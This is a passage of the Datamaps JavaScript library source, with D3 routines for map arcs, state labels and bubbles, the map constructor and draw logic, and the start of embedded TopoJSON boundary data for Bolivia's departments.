.attr('class', 'datamaps-arc')\n .style('stroke-linecap', 'round')\n .style('stroke', function(datum) {\n return val(datum.strokeColor, options.strokeColor, datum);\n })\n .style('fill', 'none')\n .style('stroke-width', function(datum) {\n return val(datum.strokeWidth, options.strokeWidth, datum);\n })\n .attr('d', function(datum) {\n var originXY = self.latLngToXY(val(datum.origin.latitude, datum), val(datum.origin.longitude, datum))\n var destXY = self.latLngToXY(val(datum.destination.latitude, datum), val(datum.destination.longitude, datum));\n var midXY = [ (originXY[0] + destXY[0]) / 2, (originXY[1] + destXY[1]) / 2];\n if (options.greatArc) {\n // TODO: Move this to inside `if` clause when setting attr `d`\n var greatArc = d3.geo.greatArc()\n .source(function(d) { return [val(d.origin.longitude, d), val(d.origin.latitude, d)]; })\n .target(function(d) { return [val(d.destination.longitude, d), val(d.destination.latitude, d)]; });\n\n return path(greatArc(datum))\n }\n var sharpness = val(datum.arcSharpness, options.arcSharpness, datum);\n return \"M\" + originXY[0] + ',' + originXY[1] + \"S\" + (midXY[0] + (50 * sharpness)) + \",\" + (midXY[1] - (75 * sharpness)) + \",\" + destXY[0] + \",\" + destXY[1];\n })\n .transition()\n .delay(100)\n .style('fill', function(datum) {\n /*\n Thank you Jake Archibald, this is awesome.\n Source: http://jakearchibald.com/2013/animated-line-drawing-svg/\n */\n var length = this.getTotalLength();\n this.style.transition = this.style.WebkitTransition = 'none';\n this.style.strokeDasharray = length + ' ' + length;\n this.style.strokeDashoffset = length;\n this.getBoundingClientRect();\n this.style.transition = this.style.WebkitTransition = 'stroke-dashoffset ' + val(datum.animationSpeed, options.animationSpeed, datum) + 'ms ease-out';\n this.style.strokeDashoffset = '0';\n return 'none';\n })\n\n arcs.exit()\n .transition()\n .style('opacity', 0)\n .remove();\n }\n\n function handleLabels ( layer, options ) {\n var self = this;\n options = options || {};\n var labelStartCoodinates = this.projection([-67.707617, 42.722131]);\n this.svg.selectAll(\".datamaps-subunit\")\n .attr(\"data-foo\", function(d) {\n var center = self.path.centroid(d);\n var xOffset = 7.5, yOffset = 5;\n\n if ( [\"FL\", \"KY\", \"MI\"].indexOf(d.id) > -1 ) xOffset = -2.5;\n if ( d.id === \"NY\" ) xOffset = -1;\n if ( d.id === \"MI\" ) yOffset = 18;\n if ( d.id === \"LA\" ) xOffset = 13;\n\n var x,y;\n\n x = center[0] - xOffset;\n y = center[1] + yOffset;\n\n var smallStateIndex = [\"VT\", \"NH\", \"MA\", \"RI\", \"CT\", \"NJ\", \"DE\", \"MD\", \"DC\"].indexOf(d.id);\n if ( smallStateIndex > -1) {\n var yStart = labelStartCoodinates[1];\n x = labelStartCoodinates[0];\n y = yStart + (smallStateIndex * (2+ (options.fontSize || 12)));\n layer.append(\"line\")\n .attr(\"x1\", x - 3)\n .attr(\"y1\", y - 5)\n .attr(\"x2\", center[0])\n .attr(\"y2\", center[1])\n .style(\"stroke\", options.labelColor || \"#000\")\n .style(\"stroke-width\", options.lineWidth || 1)\n }\n\n layer.append(\"text\")\n .attr(\"x\", x)\n .attr(\"y\", y)\n .style(\"font-size\", (options.fontSize || 10) + 'px')\n .style(\"font-family\", options.fontFamily || \"Verdana\")\n .style(\"fill\", options.labelColor || \"#000\")\n .text( d.id );\n return \"bar\";\n });\n }\n\n\n function handleBubbles (layer, data, options ) {\n var self = this,\n fillData = this.options.fills,\n filterData = this.options.filters,\n svg = this.svg;\n\n if ( !data || (data && !data.slice) ) {\n throw \"Datamaps Error - bubbles must be an array\";\n }\n\n var bubbles = layer.selectAll('circle.datamaps-bubble').data( data, options.key );\n\n bubbles\n .enter()\n .append('svg:circle')\n .attr('class', 'datamaps-bubble')\n .attr('cx', function ( datum ) {\n var latLng;\n if ( datumHasCoords(datum) ) {\n latLng = self.latLngToXY(datum.latitude, datum.longitude);\n }\n else if ( datum.centered ) {\n latLng = self.path.centroid(svg.select('path.' + datum.centered).data()[0]);\n }\n if ( latLng ) return latLng[0];\n })\n .attr('cy', function ( datum ) {\n var latLng;\n if ( datumHasCoords(datum) ) {\n latLng = self.latLngToXY(datum.latitude, datum.longitude);\n }\n else if ( datum.centered ) {\n latLng = self.path.centroid(svg.select('path.' + datum.centered).data()[0]);\n }\n if ( latLng ) return latLng[1];\n })\n .attr('r', function(datum) {\n // if animation enabled start with radius 0, otherwise use full size.\n return options.animate ? 0 : val(datum.radius, options.radius, datum);\n })\n .attr('data-info', function(d) {\n return JSON.stringify(d);\n })\n .attr('filter', function (datum) {\n var filterKey = filterData[ val(datum.filterKey, options.filterKey, datum) ];\n\n if (filterKey) {\n return filterKey;\n }\n })\n .style('stroke', function ( datum ) {\n return val(datum.borderColor, options.borderColor, datum);\n })\n .style('stroke-width', function ( datum ) {\n return val(datum.borderWidth, options.borderWidth, datum);\n })\n .style('fill-opacity', function ( datum ) {\n return val(datum.fillOpacity, options.fillOpacity, datum);\n })\n .style('fill', function ( datum ) {\n var fillColor = fillData[ val(datum.fillKey, options.fillKey, datum) ];\n return fillColor || fillData.defaultFill;\n })\n .on('mouseover', function ( datum ) {\n var $this = d3.select(this);\n\n if (options.highlightOnHover) {\n //save all previous attributes for mouseout\n var previousAttributes = {\n 'fill': $this.style('fill'),\n 'stroke': $this.style('stroke'),\n 'stroke-width': $this.style('stroke-width'),\n 'fill-opacity': $this.style('fill-opacity')\n };\n\n $this\n .style('fill', val(datum.highlightFillColor, options.highlightFillColor, datum))\n .style('stroke', val(datum.highlightBorderColor, options.highlightBorderColor, datum))\n .style('stroke-width', val(datum.highlightBorderWidth, options.highlightBorderWidth, datum))\n .style('fill-opacity', val(datum.highlightFillOpacity, options.highlightFillOpacity, datum))\n .attr('data-previousAttributes', JSON.stringify(previousAttributes));\n }\n\n if (options.popupOnHover) {\n self.updatePopup($this, datum, options, svg);\n }\n })\n .on('mouseout', function ( datum ) {\n var $this = d3.select(this);\n\n if (options.highlightOnHover) {\n //reapply previous attributes\n var previousAttributes = JSON.parse( $this.attr('data-previousAttributes') );\n for ( var attr in previousAttributes ) {\n $this.style(attr, previousAttributes[attr]);\n }\n }\n\n d3.selectAll('.datamaps-hoverover').style('display', 'none');\n })\n\n bubbles.transition()\n .duration(400)\n .attr('r', function ( datum ) {\n return val(datum.radius, options.radius, datum);\n });\n\n bubbles.exit()\n .transition()\n .delay(options.exitDelay)\n .attr(\"r\", 0)\n .remove();\n\n function datumHasCoords (datum) {\n return typeof datum !== 'undefined' && typeof datum.latitude !== 'undefined' && typeof datum.longitude !== 'undefined';\n }\n }\n\n //stolen from underscore.js\n function defaults(obj) {\n Array.prototype.slice.call(arguments, 1).forEach(function(source) {\n if (source) {\n for (var prop in source) {\n if (obj[prop] == null) obj[prop] = source[prop];\n }\n }\n });\n return obj;\n }\n /**************************************\n Public Functions\n ***************************************/\n\n function Datamap( options ) {\n\n if ( typeof d3 === 'undefined' || typeof topojson === 'undefined' ) {\n throw new Error('Include d3.js (v3.0.3 or greater) and topojson on this page before creating a new map');\n }\n //set options for global use\n this.options = defaults(options, defaultOptions);\n this.options.geographyConfig = defaults(options.geographyConfig, defaultOptions.geographyConfig);\n this.options.projectionConfig = defaults(options.projectionConfig, defaultOptions.projectionConfig);\n this.options.bubblesConfig = defaults(options.bubblesConfig, defaultOptions.bubblesConfig);\n this.options.arcConfig = defaults(options.arcConfig, defaultOptions.arcConfig);\n\n //add the SVG container\n if ( d3.select( this.options.element ).select('svg').length > 0 ) {\n addContainer.call(this, this.options.element, this.options.height, this.options.width );\n }\n\n /* Add core plugins to this instance */\n this.addPlugin('bubbles', handleBubbles);\n this.addPlugin('legend', addLegend);\n this.addPlugin('arc', handleArcs);\n this.addPlugin('labels', handleLabels);\n this.addPlugin('graticule', addGraticule);\n\n //append style block with basic hoverover styles\n if ( ! this.options.disableDefaultStyles ) {\n addStyleBlock();\n }\n\n return this.draw();\n }\n\n // resize map\n Datamap.prototype.resize = function () {\n\n var self = this;\n var options = self.options;\n\n if (options.responsive) {\n var newsize = options.element.clientWidth,\n oldsize = d3.select( options.element).select('svg').attr('data-width');\n\n d3.select(options.element).select('svg').selectAll('g').attr('transform', 'scale(' + (newsize / oldsize) + ')');\n }\n }\n\n // actually draw the features(states & countries)\n Datamap.prototype.draw = function() {\n //save off in a closure\n var self = this;\n var options = self.options;\n\n //set projections and paths based on scope\n var pathAndProjection = options.setProjection.apply(self, [options.element, options] );\n\n this.path = pathAndProjection.path;\n this.projection = pathAndProjection.projection;\n\n //if custom URL for topojson data, retrieve it and render\n if ( options.geographyConfig.dataUrl ) {\n d3.json( options.geographyConfig.dataUrl, function(error, results) {\n if ( error ) throw new Error(error);\n self.customTopo = results;\n draw( results );\n });\n }\n else {\n draw( this[options.scope + 'Topo'] || options.geographyConfig.dataJson);\n }\n\n return this;\n\n function draw (data) {\n // if fetching remote data, draw the map first then call `updateChoropleth`\n if ( self.options.dataUrl ) {\n //allow for csv or json data types\n d3[self.options.dataType](self.options.dataUrl, function(data) {\n //in the case of csv, transform data to object\n if ( self.options.dataType === 'csv' && (data && data.slice) ) {\n var tmpData = {};\n for(var i = 0; i < data.length; i++) {\n tmpData[data[i].id] = data[i];\n }\n data = tmpData;\n }\n Datamaps.prototype.updateChoropleth.call(self, data);\n });\n }\n drawSubunits.call(self, data);\n handleGeographyConfig.call(self);\n\n if ( self.options.geographyConfig.popupOnHover || self.options.bubblesConfig.popupOnHover) {\n hoverover = d3.select( self.options.element ).append('div')\n .attr('class', 'datamaps-hoverover')\n .style('z-index', 10001)\n .style('position', 'absolute');\n }\n\n //fire off finished callback\n self.options.done(self);\n }\n };\n /**************************************\n TopoJSON\n ***************************************/\n Datamap.prototype.worldTopo = '__WORLD__';\n Datamap.prototype.abwTopo = '__ABW__';\n Datamap.prototype.afgTopo = '__AFG__';\n Datamap.prototype.agoTopo = '__AGO__';\n Datamap.prototype.aiaTopo = '__AIA__';\n Datamap.prototype.albTopo = '__ALB__';\n Datamap.prototype.aldTopo = '__ALD__';\n Datamap.prototype.andTopo = '__AND__';\n Datamap.prototype.areTopo = '__ARE__';\n Datamap.prototype.argTopo = '__ARG__';\n Datamap.prototype.armTopo = '__ARM__';\n Datamap.prototype.asmTopo = '__ASM__';\n Datamap.prototype.ataTopo = '__ATA__';\n Datamap.prototype.atcTopo = '__ATC__';\n Datamap.prototype.atfTopo = '__ATF__';\n Datamap.prototype.atgTopo = '__ATG__';\n Datamap.prototype.ausTopo = '__AUS__';\n Datamap.prototype.autTopo = '__AUT__';\n Datamap.prototype.azeTopo = '__AZE__';\n Datamap.prototype.bdiTopo = '__BDI__';\n Datamap.prototype.belTopo = '__BEL__';\n Datamap.prototype.benTopo = '__BEN__';\n Datamap.prototype.bfaTopo = '__BFA__';\n Datamap.prototype.bgdTopo = '__BGD__';\n Datamap.prototype.bgrTopo = '__BGR__';\n Datamap.prototype.bhrTopo = '__BHR__';\n Datamap.prototype.bhsTopo = '__BHS__';\n Datamap.prototype.bihTopo = '__BIH__';\n Datamap.prototype.bjnTopo = '__BJN__';\n Datamap.prototype.blmTopo = '__BLM__';\n Datamap.prototype.blrTopo = '__BLR__';\n Datamap.prototype.blzTopo = '__BLZ__';\n Datamap.prototype.bmuTopo = '__BMU__';\n Datamap.prototype.bolTopo = {\"type\":\"Topology\",\"objects\":{\"bol\":{\"type\":\"GeometryCollection\",\"geometries\":[{\"type\":\"Polygon\",\"properties\":{\"name\":\"Cochabamba\"},\"id\":\"BO.CB\",\"arcs\":[[0,1,2,3,4,5]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"Chuquisaca\"},\"id\":\"BO.CQ\",\"arcs\":[[-2,6,7,8,9]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"El Beni\"},\"id\":\"BO.EB\",\"arcs\":[[10,-6,11,12,13]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"La Paz\"},\"id\":\"BO.LP\",\"arcs\":[[-12,-5,14,15,16]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"Oruro\"},\"id\":\"BO.OR\",\"arcs\":[[-4,17,18,-15]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"Pando\"},\"id\":\"BO.PA\",\"arcs\":[[-13,-17,19]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"Potosí\"},\"id\":\"BO.PO\",\"arcs\":[[-10,20,21,-18,-3]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"Santa Cruz\"},\"id\":\"BO.SC\",\"arcs\":[[-7,-1,-11,22]]},{\"type\":\"Polygon\",\"properties\":{\"name\":\"Tarija\"},\"id\":\"BO.TR\",\"arcs\":[[23,-21,-9]]}]}},\"arcs\":[[[4105,5331],[-6,-17],[-9,-1],[-23,0],[19,-16],[5,-8],[-1,-13],[-12,5],[-11,4],[-11,-1],[-11,-8],[14,-9],[11,-12],[9,-14],[6,-16],[0,-10],[-2,-5],[-3,-4],[-1,-5],[0,-26],[3,-16],[16,-19],[4,-12],[-4,-11],[-6,-13],[-3,-14],[7,-16],[-7,-15],[1,-14],[2,-13],[-2,-15],[-18,-21],[-2,-9],[20,-1],[-15,-21],[-2,-7],[2,-7],[8,-9],[2,-7],[-2,-11],[-25,-53],[-2,-2],[0,-2],[-5,-21],[-7,-7],[-19,-11],[-8,-8],[-7,-11],[-5,-12],[-2,-12],[3,-11],[6,-6],[8,-2],[6,-3],[2,-8],[-2,-5],[-29,-44],[-5,-17],[-10,-14],[0,-9],[4,-8],[12,-13],[5,-7],[2,-7],[1,-14],[18,-61],[12,-18],[77,-74],[20,-9],[18,-5],[8,-4],[8,-5],[52,-49],[12,-9],[48,-25],[22,-6],[8,-4],[27,-19],[70,-71],[38,-27],[5,-5],[3,-6],[8,-19],[7,-12],[3,-14],[-4,-14],[-6,-14],[-13,-1],[-15,-2],[-10,2],[-7,0],[-18,-4],[-8,0],[-16,1],[-7,0],[-10,-3],[-30,-18],[-7,-6],[-3,-9],[-1,-7],[1,-18],[-2,-7],[-3,-7],[-130,-171],[-17,-18],[-67,-60],[-19,-14],[-11,-12],[-6,-21],[4,-14],[5,-8],[37,-34],[11,-15],[27,-46],[16,-37],[12,-12],[7,-5],[10,-6],[6,-6],[7,-8],[11,-19],[17,-19],[13,-20],[8,-30],[13,-20],[11,-7],[4,-3],[2,-5],[0,-8],[-1,-6],[-2,-5],[0,-4],[1,-3],[10,-8],[2,-5],[-1,-11],[1,-6],[2,-7],[6,-9],[4,-5],[4,-3],[3,-1],[15,-4],[9,-4],[12,-9],[14,-12],[7,-5],[19,-8],[4,-3],[3,-2],[2,-3],[1,-1],[1,-3],[1,-5],[-2,-30],[0,-8],[1,-6],[6,-12],[0,-4],[-4,-6],[-21,-21],[-14,-23]],[[4365,3208],[-8,7],[-4,5],[-8,19],[-4,5],[-18,6],[-18,-6],[-56,-40],[-10,-3],[-13,-2],[-42,0],[-11,1],[-8,5],[-12,15],[-8,6],[-15,11],[-8,7],[-11,22],[-2,4],[-10,3],[-7,7],[-10,16],[-14,9],[-40,0],[-17,5],[-5,6],[-9,13],[-6,6],[-16,3],[-18,-2],[-59,-15],[-45,-18],[-30,-19],[-19,-15],[-8,-9],[-6,-10],[-6,-22],[-5,-11],[-9,-8],[-11,0],[-12,3],[-37,23],[-15,6],[-14,1],[-32,-5],[-14,2],[-11,11],[-2,15],[0,21],[-3,18],[-9,7],[-9,3],[-9,7],[-8,9],[-5,7],[-5,26],[-9,2],[-9,-2],[-8,0],[-3,8],[-1,6],[-2,8]],[[3542,3385],[-2,7],[-3,2],[-8,2],[-29,14],[-7,8],[-4,2],[-5,2],[-12,2],[-5,1],[-25,24],[-36,54],[-29,21],[-14,6],[-15,10],[-12,11],[-9,22],[-9,13],[-20,21],[-29,16],[-15,10],[-6,13],[-51,39],[-49,24],[-15,20],[-17,0],[-55,-12],[-7,2],[-5,19],[-6,7],[-8,5],[-9,2],[-10,7],[-12,16],[-10,19],[-4,15],[-17,0],[-9,2],[-9,2],[-28,2],[-33,-2],[-22,-4],[-11,-3],[-66,-42],[-18,-12],[-47,-34],[-9,-5],[-8,-1],[-9,0],[-42,6],[-49,-1],[-32,3],[-6,1],[-8,1],[-19,-1],[-55,-10]],[[2493,3711],[-46,97],[-62,85],[-43,48],[-14,13],[-134,90]],[[2194,4044],[105,50],[10,7],[6,6],[-2,11],[-5,7],[-8,6],[-5,8],[-3,8],[16,29],[-12,40],[-7,7],[-6,10],[-4,8],[0,10],[3,23],[-12,55],[-5,12],[-6,9],[-11,14],[-12,12],[-9,12],[-38,14],[-12,10],[-4,14],[2,15],[7,16],[4,7],[14,16],[3,9],[1,7],[-2,14],[1,16],[6,13],[16,26],[16,21],[20,9],[49,5],[19,6],[22,10],[19,14],[11,15],[2,12],[0,13],[-6,35],[-1,10],[1,57],[-7,21],[-25,39],[-9,20],[-1,19],[11,39],[4,93],[-5,11],[-18,20],[-6,10],[-4,3],[-26,8],[-1,5],[2,12],[-2,16],[-9,13],[-24,24],[-12,19],[-15,17],[-3,5],[-1,8],[8,56],[0,19],[-3,18],[0,8],[2,9],[7,10],[6,7],[5,8],[1,12],[-1,5],[-3,3],[-4,1],[-3,3],[-2,2],[25,24],[30,34],[68,52]],[[2362,5445],[230,-206],[9,-14],[12,-33],[10,-22],[4,-8],[48,-56],[134,-128],[17,-13],[81,-47],[41,-18],[64,-19],[86,-16],[41,-2],[26,2],[286,74],[79,34],[11,13],[12,21],[45,122],[0,24],[2,10],[26,49],[39,61],[25,15],[312,33],[81,16],[11,-6],[11,0]],[[4365,3208],[9,-8],[8,-9],[3,-9],[-1,-10],[-2,-11],[0,-13],[3,-9],[12,-20],[4,-10],[6,-20],[6,-9],[17,-13],[17,-8],[16,-9],[12,-17],[2,-10],[1,-11],[3,-10],[6,-8],[10,-5],[12,-2],[24,-2],[12,-3],[8,-7],[6,-9],[10,-8],[6,-1],[5,-1],[6,-2],[5,-6],[34,-104],[2,-9],[4,-8],[7,-6],[13,-4],[15,-1],[15,1],[12,3],[11,5],[7,7],[6,8],[4,11],[8,55],[9,16],[10,6],[10,0],[22,-6],[17,0],[51,5],[8,-12],[-20,-126],[-2,-46],[35,-523],[3,-8],[11,-20],[1,-3],[35,-305],[10,-33],[19,-1],[51,-1],[37,-7],[9,0],[7,2],[4,2],[5,4],[14,18],[6,6],[6,4],[9,2],[16,2],[7,3],[4,2],[11,7],[5,6],[10,13],[5,5],[7,3],[11,-7],[11,-15],[25,-52],[7,-10],[7,-3],[7,-2],[881,3]],[[6110,1835],[-17,-22],[-30,-40],[-7,-20],[1,-69],[1,-66],[1,-73],[1,-110]],[[6060,1435],[-1309,1],[-76,2],[-17,0],[0,2],[-17,13],[-5,8],[2,8],[6,8],[-6,2],[-10,-1],[-4,-2],[-24,1],[-7,4],[-3,14],[-7,5],[-16,3],[-18,0],[-12,-3],[-10,-1],[-11,6],[-10,10],[-6,2],[-6,-13],[-1,-4],[-1,-7],[-1,-19],[5,-45],[0,-4],[-2,-4],[-3,-5],[-6,-7],[-1,-4],[-1,-4],[-1,-4],[-3,-6],[-1,-4],[4,-11],[1,-5],[-1,-15],[-1,-4],[-2,-4],[-2,-4],[-2,-3],[-3,-4],[-5,-4],[-4,-2],[-4,-2],[-6,-1],[-7,0],[-21,6],[-11,1],[-49,-4],[-15,2],[-30,12],[-30,21],[-7,5],[-4,1],[-11,2],[-5,0],[-16,-2],[-25,-5],[-7,-1],[-6,1],[-4,2],[-3,3],[-3,2],[-3,3],[-19,39],[-2,4],[-16,15],[-4,5],[-5,5],[-4,2],[-15,8],[-3,2],[-3,4],[-4,11],[-2,3],[-3,3],[-4,1],[-5,0],[-10,0],[-5,1],[-4,2],[-11,5],[-4,1],[-5,1],[-6,-1],[-6,-4],[-8,-10],[-7,-12],[-12,-16],[-5,-11],[-2,-9],[1,-10],[0,-4],[-1,-4],[-7,-11],[-1,-4],[-2,-9],[-3,-5],[-6,-4],[-14,-6],[-15,-4],[-10,-3],[-4,0],[-3,2],[-3,3],[-3,3],[-4,2],[-12,5],[-4,2],[-3,3],[-2,3],[-2,3],[-2,2],[-3,3],[-4,2],[-4,2],[-9,3],[-4,2],[-1,3],[-1,5],[-2,3],[-2,3],[-4,3],[-4,1],[-5,1],[-10,-1],[-5,0],[-4,2],[-4,2],[-6,5],[-3,2],[-5,0],[-5,-1],[-7,-2],[-5,-1],[-3,1],[-3,2],[-5,5],[0,1],[-6,0],[-5,-1],[-4,0],[-2,0],[-1,0],[-26,28],[-6,5],[-4,1],[-5,0],[-5,-1],[-11,-4],[-5,0],[-4,0],[-14,4],[-5,2],[-7,4],[-3,2],[-5,0],[-5,-2],[-5,-5],[-3,-5],[-1,-5],[-11,-138],[-14,-42],[-1,-8],[0,-30],[2,-16],[-23,-151],[-3,-44]],[[3632,1030],[-68,44],[-115,108],[-14,28],[-1,4],[-1,19],[8,79],[0,5],[-3,7],[-2,9],[0,10],[2,16],[35,105],[5,95],[21,31],[7,14],[9,43],[4,11],[63,130],[-58,200],[-2,16],[-1,27],[1,7],[9,25],[3,7],[5,7],[5,6],[22,27],[4,12],[-5,13],[0,4],[0,16],[3,5],[4,2],[9,3],[4,1],[3,3],[14,12],[16,11],[3,1],[16,5],[25,4],[18,4],[84,6],[14,3],[155,76],[64,59],[27,34],[8,10],[-6,16],[-18,30],[-70,80],[-8,14],[-4,14],[-1,15],[2,16],[4,13],[2,6],[-1,7],[-3,4],[-5,6],[-6,5],[-2,0],[-4,16],[-9,17],[-13,15],[-14,10],[-22,5],[-25,-2],[-63,-18],[-18,0],[-3,2],[-2,3],[-3,1],[-6,-3],[-17,-5],[-20,6],[-50,25],[-13,9],[-13,6],[-37,7],[-13,8],[-12,10],[-40,24],[-10,9],[-18,24],[-22,14],[-11,10],[-5,9],[-3,20],[-4,9],[-5,7],[-5,4],[-26,15],[-13,20],[-16,37],[0,3],[0,1],[1,4],[2,2],[2,4],[13,21],[21,29],[6,6],[10,8],[2,4],[1,4],[-1,3],[-2,9],[-1,10],[-1,4],[-2,5],[-2,3],[-2,4],[-7,6],[-7,5],[-1,2],[-3,4],[-1,8],[0,7],[2,4],[2,2],[29,23],[13,7],[5,4],[6,6],[8,13],[3,9],[2,8],[-2,7],[-2,5],[-3,4],[-4,2],[-5,2],[-5,1],[-4,1],[-5,0],[-35,-7],[-17,-6],[-89,-39],[-4,-1],[-4,0],[-4,0],[-6,3],[-2,4],[-1,6],[1,4],[2,4],[3,4],[4,3],[19,15],[6,6],[4,7],[0,4],[-17,82],[-2,31],[6,36],[-1,8],[-3,6],[-8,5],[-18,8],[-6,3],[-5,4],[-8,8],[-3,5],[-1,4],[0,7],[-5,27],[2,7],[3,3],[4,3],[5,1],[4,1],[4,-2],[2,-2],[2,-6],[2,-3],[3,-2],[10,-1],[5,-1],[4,-3],[4,-2],[6,-1],[24,1],[6,-1],[4,-2],[4,-2],[2,-3],[2,-3],[2,-4],[3,-4],[3,-3],[5,-2],[5,0],[5,1],[23,10],[5,2],[4,0],[2,0],[2,-1],[6,-3],[62,-18],[19,-8],[13,-1],[26,5]],[[6616,7104],[-438,-229],[-725,-375],[-457,-237],[-283,-74],[-39,-16],[19,-72],[0,-88],[5,-39],[-1,-21],[-3,-14],[-5,-11],[-4,-19],[9,-36],[6,-12],[26,-37],[30,-75],[86,-120],[8,-7],[8,-5],[20,-7],[11,-6],[10,-12],[5,-10],[4,-37],[6,-10],[38,-35],[10,-6],[9,-2],[9,0],[9,-4],[24,-19],[9,-4],[27,-11],[6,-3],[7,-7],[8,-10],[10,-18],[18,-20],[4,-7],[2,-8],[1,-19],[1,-11],[5,-15],[8,-10],[21,-21],[8,-5],[9,-4],[30,-6],[8,-3],[8,-4],[-2,-2],[-17,-1],[-1079,51]],[[2362,5445],[-34,31],[-164,138],[-17,27],[-8,7],[-5,3],[-17,7],[-11,5],[-9,9],[-6,8],[-3,8],[-1,8],[0,8],[6,31],[0,10],[-2,10],[-52,94],[-23,30],[-19,20],[-11,9],[-7,11],[-15,28],[-9,9],[-10,7],[-9,1],[-10,0],[-20,-2],[-10,1],[-9,2],[-8,4],[-12,9],[-12,6],[-12,14],[-10,28],[-3,15],[-1,12],[3,16],[4,15],[4,29],[-1,31],[-4,16],[-7,12],[-40,33],[-16,20],[-22,47],[-4,6],[2,6],[5,7],[6,6],[13,11],[5,6],[8,15],[0,15],[-5,14],[-9,14],[-18,16],[-4,8],[-1,4],[1,10],[-2,4],[-2,3],[-5,4],[-2,3],[-12,28],[-4,15],[-2,14],[3,14],[9,7],[27,10],[10,11],[4,12],[-2,13],[-8,25],[3,45],[-8,59],[-1,9],[-11,34],[0,12],[22,90],[7,11],[7,9],[8,12],[2,15],[-11,20],[1,15],[9,30],[8,16],[10,9],[14,8],[9,10],[16,24],[34,39],[7,13],[1,15],[-15,19],[-13,70],[-1,26],[13,25],[35,49],[12,12],[29,20],[67,71],[3,7],[3,15],[4,7],[6,5],[15,7],[7,5],[32,53],[14,12],[16,3],[14,-2],[11,3],[40,87],[45,174],[2,20],[-4,15],[-12,33],[22,27],[10,15],[0,12],[-6,12],[-2,10],[-1,46],[2,15],[6,14]],[[2244,7955],[13,16],[6,14],[-3,13],[-6,13],[-3,14],[6,17],[11,16],[8,17],[-2,18],[-6,19],[2,17],[12,34],[4,32],[-5,38],[-11,37],[-18,28],[-12,13],[-5,3],[-3,0],[-4,-3],[-6,-1],[-5,1],[-7,13],[-4,19],[3,15],[14,3],[15,-2],[15,4],[13,8],[11,10],[9,17],[-4,11],[-10,9],[-9,11],[0,15],[11,6],[16,1],[14,-2],[16,1],[11,9],[9,13],[12,10],[14,3],[28,0],[13,5],[12,14],[1,18],[-6,37],[5,14],[20,21],[2,14],[-2,19],[1,19],[8,14],[19,7],[75,5],[55,-6],[22,6],[44,25],[57,6],[25,5],[4,16],[3,16],[44,9],[10,15],[-6,10],[-9,7],[-6,10],[3,17],[8,12],[29,34],[6,14],[0,13],[-7,28],[2,17],[11,3],[14,-4],[14,-1],[19,15],[4,25],[1,27],[9,23],[7,10],[13,-7],[13,6],[10,14],[9,31],[11,17],[7,15],[-7,13],[-8,1],[-17,-6],[-9,-1],[-6,4],[-4,5],[-1,5],[27,7],[33,25],[19,7],[31,-5],[36,-11],[29,-1],[11,21],[-4,14],[-10,14],[-13,10],[-15,4],[-8,6],[5,15],[12,14],[10,6],[9,-4],[11,-11],[10,-11],[4,-8],[10,-3],[22,4],[35,12],[19,13],[8,13],[1,15],[0,19],[-4,17],[-6,15],[2,12],[20,6],[17,-3],[17,-6],[18,-3],[18,9],[16,14],[16,10],[71,32],[6,6],[6,15],[12,17],[15,14],[12,8],[13,5],[43,6],[1,0]],[[3501,9460],[1,-6],[2,-2],[3,-3],[-19,-32],[-12,-11],[-20,-3],[0,-5],[9,-14],[2,-5],[-1,-4],[-3,-7],[-1,-4],[0,-7],[2,-7],[3,-7],[3,-3],[3,-8],[-6,-37],[0,-12],[14,-14],[15,-8],[11,-11],[5,-21],[-1,-14],[-6,-28],[-12,-35],[4,-10],[32,-8],[15,-9],[12,-12],[7,-11],[5,-65],[2,-4],[5,-4],[4,-6],[0,-9],[-3,-7],[-5,-4],[-7,-4],[-7,-6],[-13,-18],[0,-13],[4,-13],[3,-16],[-6,-13],[-32,-23],[-12,-13],[-3,-18],[11,-12],[13,-9],[7,-10],[-5,-12],[-10,-6],[-8,-8],[1,-19],[10,-14],[17,-11],[16,-8],[7,-5],[-3,-9],[-14,-16],[-6,-8],[0,-8],[1,-6],[27,-65],[23,-22],[28,8],[20,-10],[9,-7],[5,-10],[0,-7],[-6,-14],[0,-10],[4,-10],[4,-2],[5,0],[10,-4],[18,-11],[5,-6],[-19,-6],[-2,-7],[3,-19],[-1,-7],[-8,-12],[-1,-7],[0,-27],[5,-11],[11,-11],[15,-10],[10,-3],[7,7],[4,37],[4,10],[5,6],[11,3],[3,-7],[-3,-17],[12,-11],[15,-5],[13,-7],[7,-25],[11,-17],[4,-8],[1,-7],[-2,-16],[1,-7],[4,-16],[4,-7],[9,-4],[2,0],[9,-3],[5,-8],[1,-10],[-3,-7],[-12,-15],[-1,-13],[6,-12],[9,-9],[12,-6],[13,-3],[35,-2],[17,-3],[17,-5],[17,-3],[19,6],[10,-4],[15,-3],[13,-5],[6,-11],[4,-15],[10,-15],[26,-25],[-6,-10],[4,-9],[9,-4],[10,3],[2,6],[3,20],[3,4],[13,2],[3,-4],[4,-13],[0,-6],[-5,-10],[-1,-5],[3,-4],[7,-6],[1,-3],[9,-7],[20,-11],[39,-16],[10,-1],[21,0],[5,-1],[14,-10],[17,-8],[1,3],[0,1],[1,1],[12,-1],[4,-1],[13,-11],[3,-6],[1,-8],[-1,-17],[-4,-17],[-15,-30],[2,-13],[6,-3],[18,-6],[7,-4],[7,-7],[10,-16],[6,-8],[11,-10],[13,-9],[15,-7],[19,-2],[34,5],[12,-3],[8,-23],[8,-2],[8,2],[4,1],[5,3],[10,9],[7,3],[18,1],[14,-3],[12,-7],[23,-22],[8,-3],[8,7],[13,16],[12,-13],[49,-1],[18,-22],[15,2],[26,8],[11,-3],[8,-6],[9,-6],[14,0],[10,8],[6,6],[4,8],[28,31],[0,4],[14,2],[26,7],[11,2],[117,-16],[3,-2],[44,-21],[35,-26],[13,-6],[18,-2],[10,0],[10,-2],[8,-3],[8,-5],[6,-9],[2,-7],[0,-8],[3,-7],[7,-5],[7,-2],[6,-4],[3,-8],[3,-5],[31,-21],[18,-4],[10,-4],[24,-16],[10,-4],[58,0],[9,2],[3,6],[8,6],[17,12],[4,0],[9,-1],[4,1],[4,3],[4,8],[4,4],[22,9],[2,1],[10,-1],[16,-7],[25,-6],[8,-10],[6,-27],[4,-5],[5,-4],[3,-4],[-6,-9],[-1,-4],[1,-5],[2,-3],[18,-14],[9,-10],[4,-7],[3,-17],[6,-14],[9,-12]